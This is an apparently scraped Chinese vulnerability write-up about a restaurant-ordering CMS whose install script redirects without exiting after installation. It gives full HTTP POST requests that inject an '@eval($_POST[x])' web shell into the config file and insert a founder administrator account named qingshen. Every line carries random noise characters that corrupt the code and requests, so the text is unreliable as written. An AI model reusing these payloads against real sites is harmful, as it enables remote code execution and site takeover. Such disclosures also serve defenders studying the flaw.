问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
1 s& u) w: j } F) e- k2 q- [ C1 B: R7 V$ K- C; g
<?php
! E5 N* s$ `8 n& C. q6 gif(file_exists("../install.lock"))" \. s& E0 u& {% T( r
{
5 }' _4 y7 f" R0 v1 z9 Q- G header("Location: ../");//没有退出# [7 E, B" [( v3 t
}
4 }, K/ C- \/ z- X" c
3 [ T- ]' U! P O" F- I+ m//echo 'tst';exit;9 c* K/ g0 V8 F6 Z
require_once("init.php");
4 |9 `! C/ z5 o6 Eif(empty($_REQUEST['step']) || $_REQUEST['step']==1)
6 A) _' I$ Z- \+ s{
3 D( x2 Q8 s' T6 m- @7 B! L可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
# H G! ? L' O" A% W
. ]- v* J3 R( z: \( X! H1、getshell(很危险)* R+ w$ T' S+ x: G! z n2 \8 e
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
' p* d& O* c( V+ Y( n K% t{
) r( }) h6 P, V9 v, ]) b$smarty->assign("step",1);' _) j, J0 Y* d% b* R: h
$smarty->display("index.html");
) }% e% T# j6 u3 k$ Z, G}elseif($_REQUEST['step']==2)! j( ]. |& f4 |
{5 M! U2 a4 n, o- _' N
$mysql_host=trim($_POST['mysql_host']);
8 }* @8 t7 c: C' Y1 l $mysql_user=trim($_POST['mysql_user']);9 U* _3 H8 U0 h# a+ D
$mysql_pwd=trim($_POST['mysql_pwd']);
a: z% G" V! u) x $mysql_db=trim($_POST['mysql_db']);
( U5 p, n# g5 {* r, X: h $tblpre=trim($_POST['tblpre']);* O1 W G" C# a; R, d
$domain==trim($_POST['domain']);' q! T1 P1 p, l9 H& }* w: Y
$str="<?php \r\n";
J5 c& B" y' @, G6 c7 p- P $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
6 ], ]6 P! {% Y& I4 E& Z7 V $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
. z5 p. r' m/ e- M. k4 x $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
3 ^7 \' S; v; c $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";# N2 V' u! ]8 v x
$str.='define("MYSQL_CHARSET","GBK");'."\r\n";
4 e) ^7 G( \5 e: t. r $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
& I) W5 H9 ]. h, Y $str.='define("DOMAIN","'.$domain.'");'."\r\n";5 Z' I/ b& y9 i
$str.='define("SKINS","default");'."\r\n";0 v& L* t; q! ]# M
$str.='?>';; v" w! X6 Q. X9 S% U5 ?9 d
file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
& n& r: T, B# g0 ^2 v上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马
* |7 m- d+ |( T1 Y* ^0 y" W2 }( OPOST /canting/install/index.php?m=index&step=2 HTTP/1.1% {' ?# t% Q" Z" m) ^6 Q2 v
Host: 192.168.80.129* Y/ @# c( @) O8 R7 e
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
7 f) u4 u) k4 o, qAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
, h7 S# ], N2 f0 J8 }2 XAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
* {( @& N v% W# |0 nAccept-Encoding: gzip, deflate G9 t3 ?6 S! M0 ?, z# C
Referer: http://192.168.80.129/canting/install/index.php?step=1
+ K/ A) N* C7 g' ]; X4 a. VCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
6 `9 H: g5 i: ~% | ~# X( yContent-Type: application/x-www-form-urlencoded
3 h0 H5 |4 e; O PContent-Length: 126
; o6 U% }% d4 a
7 F$ a* ^* _" |: P# _# }mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD$ Q! |9 U% O- k p% o" V
但是这个方法很危险,将导致网站无法运行。
, m4 @% `+ R" ~9 Z5 I* T) U, c$ l0 L' {2 W5 M: \
2、直接添加管理员
/ q( V X; Y4 i
y$ b8 [; {. z7 o5 p9 j. ?elseif($_REQUEST['step']==5)7 q9 a( ^% L5 o: U0 R7 Y' r$ J
{$ {& J5 A: ?5 N
if($_POST)
/ @' V4 o: _! P' a: D1 G { require_once("../config/config.inc.php");
V" F: Q% W# S& {: M J $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD); }! Z5 V) F( Q9 }; O* }1 w6 }
mysql_select_db(MYSQL_DB,$link);9 k) X2 n( B* q) k$ f
mysql_query("SET NAMES ".MYSQL_CHARSET );: z6 ~& h5 X) Q& v5 X1 A
mysql_query("SET sql_mode=''");. E7 I1 H; U0 g3 y$ h$ e* f
6 |0 J9 I0 p! ]$ h5 @8 ^5 p3 C2 ` $adminname=trim($_POST['adminname']);
+ t# w) D. w: ? $pwd1=trim($_POST['pwd1']);
, ^, d& w/ B. j! Y$ \7 Y7 w $pwd2=trim($_POST['pwd2']);
/ h h( c# d, |5 L$ Q if(empty($adminname))
& \) q. c" a7 C3 M8 U9 M9 W- ? {
8 W1 T& T6 \3 ~! j" r+ o* |0 j) |7 t; x. ^1 O9 o
echo "<script>alert('管理员不能为空');history.go(-1);</script>";# g6 [0 u: \% J
exit();; S" m# c( @+ P3 g0 H% ~8 j* g
}& |- p5 v& n6 z' K& a& J. e; X% T8 X' j
if(($pwd1!=$pwd2) or empty($pwd1))4 A. r5 V L4 Q
{
& R$ \$ o R1 S( h( i+ ~ echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
+ h$ N! h# B- c: L p' V }
: z2 a$ |; a7 r: u6 } mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员3 Y: _; S+ E* C( I" d$ S( T7 y
}
5 U" Y$ j$ U% f0 P1 r. N" u这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:
, B) m. n3 t# Y6 h; P& i2 i6 KPOST /canting/install/index.php?m=index&step=5 HTTP/1.11 ?) L# ~/ u! C6 g
Host: 192.168.80.129
7 {3 ?# _$ c9 u6 M8 o# hUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0+ N' Q' i( P# n2 f5 _: z, F
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.89 F; Q* Z# s7 h2 x; }# u3 }- f
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
( d, o2 p8 e5 x8 n4 f2 U' pAccept-Encoding: gzip, deflate ]0 F9 v# C/ I' u* L5 |' s# y
Referer: http://www.2cto.com /canting/install/index.php?step=1
8 X) _1 q) S) H$ ^ G* `Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
1 k% T7 [, o5 u$ g( M2 ^" pContent-Type: application/x-www-form-urlencoded! a ]9 s7 m" Z& A
Content-Length: 46
/ d& a- r) @! ]. x $ }- D9 d6 t: C' P& r9 T
adminname=qingshen&pwd1=qingshen&pwd2=qingshen
: F1 H( a/ A M, X9 k# } |